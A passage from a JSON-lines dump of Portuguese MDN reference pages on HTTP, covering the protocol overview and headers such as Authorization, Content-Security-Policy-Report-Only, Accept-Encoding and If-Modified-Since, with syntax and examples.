2010 14:28:02 GMT\nServer: Apache\nLast-Modified: Tue, 01 Dec 2009 20:18:22 GMT\nETag: \"51142bc1-7449-479b075b2891b\"\nAccept-Ranges: bytes\nContent-Length: 29769\nContent-Type: text/html\n\n<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)\n```\n\n4. Fecha ou reutiliza a conexão para requisições futuras.\n\nSe a linha de montagem (*pipelining*) estiver ativada, várias requisições podem ser enviadas sem que a primeira resposta seja totalmente recebida. A linha de montagem HTTP se provou difícil de ser implementada nas redes existentes, onde peças antigas de *software* coexistem com versões modernas. A linha de montagem HTTP tem sido substituída no HTTP/2.0 com multiplexação mais robusta de requisições dentro de um quadro (*frame*).\n\nMensagens HTTP\n--------------\n\nHTTP/1.1 e mensagens mais antigas HTTP são legíveis às pessoas. No HTTP/2.0, essas mensagens são embutidas numa nova estrutura binária, um quadro, permitindo otimizações como compressão de cabeçalhos e multiplexação. Mesmo se somente parte da mensagem HTTP original for enviada nessa versão do HTTP, a semântica de cada mensagem permanece inalterada e o cliente reconstitui (virtualmente) a requisição HTTP/1.1 original. É portanto útil entender as mensagens HTTP/2.0 no formato da versão HTTP/1.1.\n\nExistem dois tipos de mensagens, requisições e respostas, cada uma com seu próprio formato.\n\n### Requisições\n\nExemplo de uma requisição HTTP:\n\n![A basic HTTP request](/pt-BR/docs/Web/HTTP/Overview/http_request.png)\n\nAs requisições consistem dos seguintes elementos:\n\n* Um método HTTP, geralmente é um verbo como `GET`, `POST`, `DELETE`, `PUT`, etc, ou um substantivo como `OPTIONS` ou `HEAD` que define qual operação o cliente quer fazer. Tipicamente, um cliente quer pegar um recurso (usando `GET`) ou publicar dados de um formulário HTML (usando `POST`), embora mais operações podem ser necessárias em outros casos.\n* O caminho do recurso a ser buscado; a URL do recurso sem os elementos que são de contexto, por exemplo sem o protocolo protocol (`http://`), o domínio domain (aqui como `developer.mozilla.org`), ou a porta port TCP (aqui indicada pelo `80` que é ocultado por ser o número da porta padrão)\n* A versão do protocolo HTTP.\n* Cabeçalhos opcionais que contém informações adicionais para os servidores.\n* Ou um corpo de dados, para alguns métodos como `POST`, similares aos corpos das respostas, que contém o recurso requisitado.\n### Respostas\n\nExemplo de resposta HTTP:\n\n![](/pt-BR/docs/Web/HTTP/Overview/http_response.png)\n\nRespostas consistem dos seguintes elementos:\n\n* A versão do protocolo HTTP que elas seguem.\n* Um código de status, indicando se a requisição foi bem sucedida, ou não, e por quê.\n* Uma mensagem de status, uma pequena descrição informal sobre o código de status.\n* Cabeçalhos HTTP, como aqueles das requisições.\n* Opcionalmente, um corpo com dados do recurso requisitado.\nAPIs baseadas no HTTP\n---------------------\n\nA API mais utilizada construída em cima do HTTP é a `XMLHttpRequest`, que pode ser usada para trocar dados entre um user agent (en-US) e um servidor.\n\nOutra API, de eventos enviados pelo servidor (en-US), é um serviço de mão-única que permite um servidor enviar eventos ao cliente, usando HTTP como um mecanismo de transporte. Usando a interface `EventSource`, o cliente abre uma conexão e estabelece os manipuladores de evento. O navegador do cliente converte automaticamente as mensagens que chegam pelo fluxo HTTP em objetos `Event` apropriados, entregando-os aos manipuladores de evento que foram registrados para os tipos de eventos `type` se conhecidos, ou para o manipulador de evento `onmessage` (en-US) se nenhum manipulador de evento específico ao tipo foi definido.\n\nConclusão\n---------\n\nO HTTP é um protocolo extensível que é fácil de se usar. A arquitetura cliente-servidor, combinada com a habilidade de simplesmente adicionar cabeçalhos, permite que o HTTP avance suas funcionalidades juntamente com a elasticidade da Web.\n\nEmbora o HTTP/2.0 adicione mais complexidade, embutindo mensagens HTTP em quadros para melhorar a performance, a estrutura básica das mensagens continua a mesma desde o HTTP/1.0. Fluxo de sessões permanece simples, permitindo-o a ser investigado, e depurado com um simples monitor de mensagens HTTP."}
{"title":"Connection - HTTP","text":"Connection\n==========\n\nO cabeçalho **`Connection`** controla se a conexão se mantém aberta ou não após o término da transação atual. Se o valor for `keep-alive`, a conexão é persistente e não fecha, permitindo que requisições futuras ao mesmo servidor sejam feitas.\n\n**Nota:** Campos de cabeçalho de conexão específica como Connection não devem ser usados com HTTP/2.\n\nExceto pelos cabeçalhos padrões *hop-by-hop* (salto-por-salto) (`Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade` (en-US), `Proxy-Authorization` e `Proxy-Authenticate`), quaisquer cabeçalhos *hop-by-hop* usados pela mensagem devem estar listados no cabeçalho `Connection`, para que o primeiro proxy saiba que tem que consumi-los e não repassá-los além. Os cabeçalhos *hop-by-hop* padrões podem ser listados também (como é o caso do `Keep-Alive`, mas não é obrigatório).\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | General header |\n| Forbidden header name | sim |\n\nSintaxe\n-------\n```\n\nConnection: keep-alive\nConnection: close\n```\n\nDiretivas\n---------\n\n`close`\n\nIndica que ou o cliente, ou o servidor querem fechar a conexão. Este é o valor padrão em requisições HTTP/1.0.\n\nqualquer lista de cabelhaços HTTP separados por vírgulas [Geralmente apenas o `keep-alive` ]\n\nIndica que o cliente gostaria de manter a ligação aberta. Ter uma conexão persistente é o valor padrão das requisições HTTP/1.1. A lista de cabeçalhos são os nomes dos cabeçalhos a serem removidos pelo primeiro proxy não-transparente ou com \"cache no meio\": estes cabeçalhos definem a conexão entre o emissor e a primeira entidade, não o nó destinatário.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Authorization - HTTP","text":"Authorization\n=============\n\nO cabeçalho de requisição HTTP **`Authorization`** contém as credenciais para autenticar o agente de usuário com o servidor, geralmente o servidor responderá com um status `401` `Unauthorized` se não for possível fazer a autenticação, e com o cabeçalho `WWW-Authenticate`.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nAuthorization: <tipo> <credenciais>\n```\n\nDirectives\n----------\n\n<tipo>\n\nTipo de autenticação. Um tipo comum é o \"Basic\". Outros tipos:\n\n* Registro do IANA dos esquemas de Autenticação\n* Autenticação para servidores AWS (`AWS4-HMAC-SHA256`)\n\n<credenciais>\n\nSe a autenticação \"Basic\" é utilizada, as credenciais construção são parecidas com isto:\n\n* O nome de usuário com a senha combinados por dois pontos (`aladdin:opensesame`).\n* A cadeia de caracteres resultante é uma codificação base64 (en-US) (`YWxhZGRpbjpvcGVuc2VzYW1l`).\n\n**Nota:** Codificação Base64 não significa encriptação ou hashing! Esse método é igualmente seguro como mandar em texto limpo (base64 é uma codificação que pode ser revertida). Use o HTTPS em conjunto com a Autenticação Basic.\n\nExemplos\n--------\n```\n\nAuthorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l\n```\n\n\nVeja também autenticação HTTP para exemplos em como configurar os servidores Apache ou nginx para proteger seu site com autenticação básica HTTP.\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7235, sessão 4.2: Authorization | HTTP/1.1: Authentication |\n| RFC 7617 | O esquema de autenticação HTTP 'Basic' |\n\nVeja também\n-----------\n\n* Autenticação HTTP\n* `WWW-Authenticate`\n* `Proxy-Authorization`\n* `Proxy-Authenticate`\n* `401`, `403`, `407`"}
{"title":"X-Forwarded-Proto - HTTP","text":"X-Forwarded-Proto\n=================\n\nO cabeçalho **`X-Forwarded-Proto`** (XFP) é um cabeçalho padrão de fato para identificar o protocolo (HTTP ou HTTPS) que o cliente usava para conectar ao seu proxy ou balanceador de carga. Seus *logs* de acesso do servidor contém o protocolo usado entre o servidor e o balanceador de carga, não o protocolo usado entre o cliente e o balanceador de carga. Para determinar o protocolo utilizado entre o cliente e o balanceador de carga, o cabeçalho de requisição `X-Forwarded-Proto` pode ser utilizado.\n\nUma versão padronizada deste cabeçalho é o cabeçalho HTTP `Forwarded`.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nX-Forwarded-Proto: <protocol>\n```\n\nDiretivas\n---------\n\n<protocol>\n\nO protocolo encaminhado (http ou https).\n\nExemplos\n--------\n```\n\nX-Forwarded-Proto: https\n```\n\n\nOutras formas não padronizadas:\n```\n\n# Microsoft\nFront-End-Https: on\n\nX-Forwarded-Protocol: https\nX-Forwarded-Ssl: on\nX-Url-Scheme: https\n```\n\nEspecificações\n--------------\n\nNão pertence a nenhuma especificação atualmente. A versão padronizada do cabeçalho é `Forwarded`.\n\nCompatibilidade com navegadores\n-------------------------------\n\n{{Compat}}Veja também\n-----------\n\n* `Forwarded`\n* `X-Forwarded-For`\n* `X-Forwarded-Host`"}
{"title":"Content-Security-Policy-Report-Only - HTTP","text":"Content-Security-Policy-Report-Only\n===================================\n\nO cabeçalho de resposta HTTP **`Content-Security-Policy-Report-Only`** permite aos desenvolvedores *web* experimentar políticas monitorando (mas não forçando) seus efeitos. Esses relatórios de violação consistem de documentos JSON enviados por uma requisição HTTP `POST` para a URI especificada.\n\nPara mais informações, veja também este artigo em Content Security Policy (CSP).\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n| \n Este cabeçalho não é suportado dentro de um elemento\n `<meta>`.\n  |\n\nSintaxe\n-------\n```\n\nContent-Security-Policy-Report-Only: <policy-directive>; <policy-directive>\n```\n\nDiretivas\n---------\n\nAs diretivas do cabeçalho `Content-Security-Policy` também podem ser aplicadas para `Content-Security-Policy-Report-Only`.\n\nA diretiva CSP `report-uri` (en-US) deve ser utilizada com este cabeçalho, caso contrário este cabeçalho será uma custosa operação sem ação para a máquina.\n\nExemplos\n--------\n\nEste cabeçalho reporta violações que podem ter ocorrido. Você pode usar isso para trabalhar iterativamente na sua política de segurança de conteúdo. Você observa como seu site se comporta, observando para relatórios de violação ou redirecionamento de *malware*, então escolha a política forçada desejada pelo cabeçalho `Content-Security-Policy`.\n```\n\nContent-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/\n```\n\n\nSe você ainda quer continuar recebendo relatórios, mas também quer reforçar a política, use o cabeçalho `Content-Security-Policy` com a diretiva `report-uri` (en-US).\n```\n\nContent-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/\n```\n\nSintaxe de relatório de violação\n--------------------------------\n\nO objeto de relatório JSON contém os seguintes dados:\n\n`blocked-uri`\n\nA URI do recurso que estava bloqueada de carregar pela Política de Segurança de Conteúdo. Se a URI bloqueada é de uma origem diferente da URI do documento, então a URI bloqueada é truncada para conter somente o esquema, *host*, e a porta.\n\n`disposition`\n\nOu `\"enforce\"` ou `\"report\"` dependendo se o cabeçalho `Content-Security-Policy` ou o `Content-Security-Policy-Report-Only` é utilizado.\n\n`document-uri`\n\nA URI do documento na qual a violação ocorreu.\n\n`effective-directive`\n\nA diretiva na qual a execução causou a violação.\n\n`original-policy`\n\nA política original como especificada pelo cabeçalho HTTP `Content-Security-Policy-Report-Only`.\n\n`referrer`\n\nA referência do documento onde a violação ocorreu.\n\n`script-sample`\n\nOs primeiros 40 caracteres do *script* em linha, manejador de evento, ou estilo que causou a violação.\n\n`status-code`\n\nO código de status HTTP do recurso no qual o objeto global foi instanciado.\n\n`violated-directive`\n\nO nome da seção da política que foi violada.\n\nExemplo de relatório de violação\n--------------------------------\n\nVamos considerar a página localizada em `http://example.com/signup.html`. Ele usa a seguinte política, desabilitando tudo menos arquivos de estilo de `cdn.example.com`.\n```\n\nContent-Security-Policy-Report-Only: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports\n```\n\n\nO HTML de `signup.html` se parece com isto:\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <title>Sign Up</title>\n    <link rel=\"stylesheet\" href=\"css/style.css\" />\n  </head>\n  <body>\n    ... Conteúdo ...\n  </body>\n</html>\n```\n\n\nVocê consegue observar a violação? Arquivos de estilos são permitidos serem carregados somente de `cdn.example.com`, entretanto o site tenta carregar um de sua origem (`http://example.com`). O navegador capaz de executar CSP irá mandar o seguinte relatório de violação como requisição POST para `http://example.com/_/csp-reports`, quando o documento é visitado:\n\n\n```js\n{\n  \"csp-report\": {\n    \"document-uri\": \"http://example.com/signup.html\",\n    \"referrer\": \"\",\n    \"blocked-uri\": \"http://example.com/css/style.css\",\n    \"violated-directive\": \"style-src cdn.example.com\",\n    \"original-policy\": \"default-src 'none'; style-src cdn.example.com; report-uri /\\_/csp-reports\",\n    \"disposition\": \"report\"\n  }\n}\n```\n\n\nComo você pode ver, o relatório inclui o caminho completo para o recurso violado em `blocked-uri`. Isso não é sempre o caso. Por exemplo, quando o `signup.html` irá tentar carregar o CSS de `http://anothercdn.example.com/stylesheet.css`, o navegador não irá incluir o caminho completo, somente a origem será inclusa (`http://anothercdn.example.com`). Isso é feito para prevenir o vazamento de informações sensíveis sobre recursos entre origens.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Content Security Policy Level 3 # cspro-header |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Content-Security-Policy`\n* Diretiva CSP `report-uri` (en-US)\n* Segurança de conteúdo em WebExtensions (en-US)\n* Mostra políticas de privacidade e segurança nas Ferramentas de Desenvolvedor do Firefox"}
{"title":"Timing-Allow-Origin - HTTP","text":"Timing-Allow-Origin\n===================\n\nO cabeçalho de resposta **`Timing-Allow-Origin`** especifica origens que são permitidas de ver os valores dos atributos por funcionalidades da Resource Timing API (en-US), na qual caso contrário será reportada como zero dada as restrições entre origens.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nTiming-Allow-Origin: *\nTiming-Allow-Origin: <origin>[, <origin>]*\n```\n\nDiretivas\n---------\n\n\\*\n\nO servidor pode especificar \"\\*\" como um coringa, sendo assim permitindo qualquer origem de ver os tempos dos recursos.\n\n<origin>\n\nEspecifica uma URI que pode ver os tempos dos recursos. Você pode especificar várias origens, separadas por vírgulas.\n\nExemplos\n--------\n\nPara permitir qualquer recurso veja os tempos dos recursos:\n```\n\nTiming-Allow-Origin: *\n```\n\n\nPara permitir `https://developer.mozilla.org` de ver os tempos de recursos de, você pode especificar:\n```\n\nTiming-Allow-Origin: https://developer.mozilla.org\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Resource Timing # sec-timing-allow-origin |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Resource Timing API (en-US)\n* Usando a Resource Timing API (en-US)\n* `Vary`"}
{"title":"Content-Language - HTTP","text":"Content-Language\n================\n\nO cabeçalho de entidade **`Content-Language`** é usado para descrever a língua(s) destinada para a audiência, para que isto permita um usuário de se diferenciar de acordo com a língua preferida do usuário.\n\nPor exemplo, se \"`Content-Language: de-DE`\" está selecionado, você diz que o documento é destinado para quem fala Alemão (no entanto, não indica que o documento é escrito em Alemão. Por exemplo, pode ser escrito em Inglês como parte de um curso de línguas para fluentes em Alemão).\n\nSe nenhum `Content-Language` é especificado, o padrão é que o conteúdo é destinado para todas as línguas. Múltiplas tags de língua também podem ser usada, assim como usar o header `Content-Language` com varios tipos de mídia e não apenas para documentos de texto.\n\n|  |  |\n| --- | --- |\n| Header type | Entity header |\n| Forbidden header name | não |\n| CORS-safelisted response-header (en-US) | sim |\n| CORS-safelisted request-header (en-US) | sim |\n\nSyntax\n------\n```\n\nContent-Language: de-DE\nContent-Language: en-US\nContent-Language: de-DE, en-CA\n```\n\nDirectives\n----------\n\n`language-tag`\n\nMúltiplas tags de línguas são separadas por uma vírgula. Cada tag de língua é uma sequencia de uma ou mais subtags insensitíveis, cada uma separada por um hífen (\"`-`\", `%x2D`). Na maioria dos casos, uma tag de língua consiste de uma tag de língua primária que identifica uma família ampla de outras línguas (ex., \"`en`\" = English), que é opcionalmente seguida por uma série de subtags que refinam ou restringem aquele alcance da língua (ex., \"`en-CA`\" = variedade de Inglês como comunicado no Canadá).\n\n\n**Nota:** Tags de língua são formalmente deifnidas em RFC 5646, que depende do padrão ISO 639 (muitas vezes o ISO 639-1 code list) para language codes serem usados.\n\nExemplos\n--------\n\n### Indicando a língua que um documento está escrito\n\nO atributo global `lang` é usado em elementos HTML para indicar a língua de um documento HTML ou partes dele.\n\n\n```html\n<html lang=\"de\"></html>\n```\n\n\nNão use este elemento meta como o abaixo para definir a língua de um documento:\n\n\n```html\n<!-- /!\\ Esta prática é ruim -->\n<meta http-equiv=\"content-language\" content=\"de\" />\n```\n\n### Indicando uma audiência destinada para um documento\n\nO header `Content-Language` é usado para especificar a **audiência destinada da página**, e pode indicar que é mais de uma língua.\n```\n\nContent-Language: de, en\n```\n\nEspecificações\n--------------\n\n| Specification | Title |\n| --- | --- |\n| RFC 7231, sessão 3.1.3.2: Content-Language | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Accept-Language`\n* HTTP headers, meta elements and language information"}
{"title":"Accept-Encoding - HTTP","text":"Accept-Encoding\n===============\n\nO cabeçalho de requisição HTTP **`Accept-Encoding`** indica qual codificação de conteúdo, usualmente um algoritmo de compressão, o cliente está apto a entender. Usando negociação de conteúdo, o servidor seleciona uma das propostas, a utiliza e informa o cliente da escolha feita com o cabeçalho de resposta `Content-Encoding`.\n\nAté mesmo se o cliente e o servidor suportarem os mesmos algoritmos de compressão, o servidor pode escolher não comprimir o corpo da resposta, se o valor de identidade também é aceitável. Dois casos comuns levam a isso:\n\n* Os dados a serem enviados já estão comprimidos e a segunda compressão não irá deixar os dados menores para serem transmitidos. Isso pode ser o caso com alguns formatos de imagens;\n* O servidor está sobrecarregado e não pode suportar a sobrecarga computacional induzida pelas exigências da compressão. Tipicamente, a Microsoft recomenda a não comprimir um corpo de resposta se o servidor utiliza mais do que 80% do seu poder computacional.\n\nEnquanto o valor de `identity`, que significa sem codificação, não é explicitamente proibido, por um `identity;q=0` ou um `*;q=0` sem qualquer outra atribuição explícita para a identidade, o servidor nunca deve mandar como resposta um erro `406` `Not Acceptable`.\n\n**Nota:** **Notas:**- Um registro da IANA mantém a lista completa das codificações de conteúdo.\n\n* Duas outras codificações de conteúdo, `bzip` e `bzip2`, são algumas vezes utilizadas, entretanto não são o padrão. Elas implementam o algoritmo usado por estes dois programas UNIX. Note que o primeiro foi descontinuado por problemas de patente.\n\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | sim |\n\nSintaxe\n-------\n```\n\nAccept-Encoding: gzip\nAccept-Encoding: compress\nAccept-Encoding: deflate\nAccept-Encoding: br\nAccept-Encoding: identity\nAccept-Encoding: *\n\n// Múltiplos algoritmos, com pesos baseados na sintaxe de quality value (en-US):\nAccept-Encoding: deflate, gzip;q=1.0, *;q=0.5\n```\n\nDiretivas\n---------\n\n`gzip`\n\nFormato de compressão usando o Lempel-Ziv coding (LZ77), com CRC de 32-bits.\n\n`compress`\n\nFormato de compressão usando o algoritmo Lempel-Ziv-Welch (LZW).\n\n`deflate`\n\nFormato de compressão usando a estrutura zlib, com o algoritmo de compressão *deflate*.\n\n`br`\n\nFormato de compressão usando o algoritmo de Brotli.\n\n`identity`\n\nIndica a identidade da função (i.e. sem compressão, ou sem modificação). Esse valor é sempre considerado como aceitável, mesmo se não estiver presente.\n\n`*`\n\nAceita qualquer codificação de conteúdo ainda não listada no cabeçalho. Esse é o valor padrão se o cabeçalho não estiver presente. Isto não significa que qualquer algoritmo é suportado; meramente que nenhuma preferência é expressa.\n\n`;q=` (valores de peso q)\n\nQualquer valor é colocado em uma ordem de preferência expressada usando a quality value (en-US) relativa chamada *peso*.\n\nExemplos\n--------\n```\n\nAccept-Encoding: gzip\n\nAccept-Encoding: gzip, compress, br\n\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 5.3.4: Accept-Encoding | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Negociação de conteúdo HTTP\n* Cabeçalho com o resultado do conteúdo de negociação: `Content-Encoding`\n* Outros cabeçalhos similares: `TE`, `Accept`, `Accept-Charset`, `Accept-Language`"}
{"title":"Device-Memory - HTTP","text":"Device-Memory\n=============\n\n**Secure context:** This feature is available only in secure contexts (en-US) (HTTPS), in some or all supporting browsers.\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO cabeçalho **`Device-Memory`** é um cabeçalho da Device Memory API (en-US) que funciona como os cabeçalhos Client Hints (en-US) que representão a quantidade aproximada de RAM que o dispositivo do cliente possui.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | ? |\n\n**Nota:** Client Hints são acessíveis somente em origens seguras (via TLS). O servidor pode optar em receber o cabeçalho `Device-Memory` do cliente mandando os cabeçalhos de resposta `Accept-CH` e `Accept-CH-Lifetime`.\n\nSintaxe\n-------\n\nA quantidade de RAM no dispositivo pode ser usada como variável de pegada, The amount of device RAM can be used as a fingerprinting variable, então os valores para este cabeçalho são intencionalmente grosseiros para reduzir potenciais usos indesejados. O cabeçalho pode ter os seguintes valores: `0.25`, `0.5`, `1`, `2`, `4`, `8`.\n```\n\nDevice-Memory: <number>\n```\n\nExemplos\n--------\n\nO servidor precisa primeiro optar por aceitar o cabeçalho `Device-Memory` mandando os cabeçalhos de resposta `Accept-CH` contendo `Device-Memory` e `Accept-CH-Lifetime`.\n```\n\nAccept-CH: Device-Memory\nAccept-CH-Lifetime: 86400\n```\n\n\nEntão nas requisições subsequentes, o cliente enviará o cabeçalho `Device-Memory` de volta:\n```\n\nDevice-Memory: 1\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Device Memory # iana-device-memory |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Device Memory API (en-US)\n* `Accept-CH`\n* `Accept-CH-Lifetime`\n* `Vary`\n* `Navigator.deviceMemory`"}
{"title":"If-Modified-Since - HTTP","text":"If-Modified-Since\n=================\n\nA requisição do cabeçalho HTTP **`If-Modified-Since`** torna a requisição condicional: o servidor enviará de volta o recurso solicitado, com um status `200`, apenas se foi modificado pela ultima vez após a data fornecida. Se a requisição não foi modificada, a resposta será um `304` sem qualquer corpo; o cabeçalho `Last-Modified` irá conter a data da ultima modificação. Ao contrário `If-Unmodified-Since`, `If-Modified-Since` pode ser apenas utilizado com um `GET` ou `HEAD`.\n\nQuando utilizado em combinação com `If-None-Match`, é ignorado, a menos que não suporte `If-None-Match`.\n\nO uso mais comum é para atualizar uma entidade em cache que não tem um `ETag` associado.\n\n|  |  |\n| --- | --- |\n| Header type | Request header |\n| Forbidden header name | no |\n\nSintaxe\n-------\n```\n\nIf-Modified-Since: <nome-dia>, <dia> <mês> <ano> <hora>:<minuto>:<segundo> GMT\n```\n\nDiretivas\n---------\n\n<nome-dia>\n\nUm entre \"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\", or \"Sun\" (sensível ao caso).\n\n<dia>\n\n2 digitos, número do dia. Por exemplo \"04\" ou \"23\".\n\n<mês>\n\nUm entre \"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\" (sensível ao caso).\n\n<ano>\n\n4 digitos, número do ano,. Por exemplo. \"1990\" ou \"2016\".\n\n<hora>\n\n2 digitos, número da hora. Por exemplo. \"09\" ou \"23\".\n\n<minuto>\n\n2 digiitos, número do minuto. Por exemplo. \"04\" ou \"59\".\n\n<segundos>\n\n2 digitos, número dos segundos, Por exemplo. \"04\" ou \"59\".\n\n`GMT`\n\nHorário de Greenwich (Greenwich Mean Time). Datas HTTP sempre são expressas em GMT, nunca em tempo local.\n\nExemplos\n--------\n```\n\nIf-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7232, sessão 3.3: If-Modified-Since | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `ETag`\n* `If-Unmodified-since`\n* `If-Match`\n* `If-None-Match`\n* `304` `Not Modified`"}
{"title":"Access-Control-Allow-Methods - HTTP","text":"Access-Control-Allow-Methods\n============================\n\nO cabeçalho de resposta **`Access-Control-Allow-Methods`** especifica o método ou métodos permitidos quando acessando o recurso em resposta a uma preflight request.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nAccess-Control-Allow-Methods: <método>, <método>, ...\nAccess-Control-Allow-Methods: *\n```\n\nDiretivas\n---------\n\n<método>\n\nLista separada por vírgula com os métodos de requisição HTTP.\n\n`*` (coringa)\n\nO valor \"`*`\" só conta como valor coringa para requisições sem credenciais (requisições sem cookies HTTP ou informação de autenticação HTTP). Em requisições com credenciais, isso é tratado como o nome de método literal \"`*`\" sem qualquer semântica especial.\n\nExemplos\n--------\n```\n\nAccess-Control-Allow-Methods: POST, GET, OPTIONS\nAccess-Control-Allow-Methods: *\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Fetch Standard # http-access-control-allow-methods |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Access-Control-Allow-Origin`\n* `Access-Control-Expose-Headers`\n* `Access-Control-Allow-Headers`\n* `Access-Control-Request-Method`"}
{"title":"Expires - HTTP","text":"Expires\n=======\n\nO cabeçalho **`Expires`** contém a data/hora após a qual a resposta é considerada velha.\n\nDatas inválidas, como o valor 0, representam uma data no passado e significam que o recurso já expirou.\n\nSe existe um cabeçalho `Cache-Control` com a diretiva \"max-age\" ou \"s-maxage\" na resposta, o cabeçalho `Expires` é ignorado.\n\n|  |  |\n| --- | --- |\n| Tipo de Header | Response header (en-US) |\n| Forbidden header name | não |\n| CORS-safelisted response-header (en-US) | sim |\n\nSintaxe\n-------\n```\n\nExpires: <http-date>\n```\n\nDiretivas\n---------\n\n<http-date>\n\nUms data/hora HTTP-date.\n\nExemplos\n--------\n```\n\nExpires: Wed, 21 Oct 2015 07:28:00 GMT\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7234, sessão 5.3: Expires | Hypertext Transfer Protocol (HTTP/1.1): Caching |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Cache-Control`\n* `Age`"}
{"title":"Accept-Patch - HTTP","text":"Accept-Patch\n============\n\nO cabeçalho de resposta HTTP **`Accept-Patch`** indica qual tipo de mídia o servidor está apto a entender.\n\n**`Accept-Patch`** na resposta de qualquer método significa que o PATCH é permitido no recurso identificado pela Request-URI. Dois casos comuns que levam a isso:\n\nO servidor recebendo uma requisição PATCH com um tipo de mídia não suportado pode responder com `415` `Unsupported Media Type` e um cabeçalho Accept-Patch referenciando um ou mais tipos de mídia suportados.\n\n**Nota:** **Notas:**- Um registro da IANA mantém uma lista oficial completa das codificações de conteúdo.\n\n* Duas outras codificações de conteúdo, `bzip` e `bzip2`, são algumas vezes utilizadas, entretanto não são o padrão. Elas implementam o algoritmo usado por estes dois programas UNIX. Note que o primeiro foi descontinuado por problemas de patente.\n\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | sim |\n\nSintaxe\n-------\n```\n\nAccept-Patch: application/example, text/example\nAccept-Patch: text/example;charset=utf-8\nAccept-Patch: application/merge-patch+json\n```\n\nDiretivas\n---------\n\nNenhuma.\n\nExemplos\n--------\n```\n\nAccept-Patch: application/example, text/example\n\nAccept-Patch: text/example;charset=utf-8\n\nAccept-Patch: application/merge-patch+json\n```\n\nEspecificações\n--------------\n\n| Specification | Título |\n| --- | --- |\n| RFC 5789, sessão 3.1: Accept-Patch | HTTP PATCH |\n\nCompatibilidade com navegadores\n-------------------------------\n\n{{Compat}}Veja também\n-----------\n\n* Método HTTP `PATCH`\n* Semântica e contexto HTTP RFC 7231, sessão 4.3.4: PUT"}
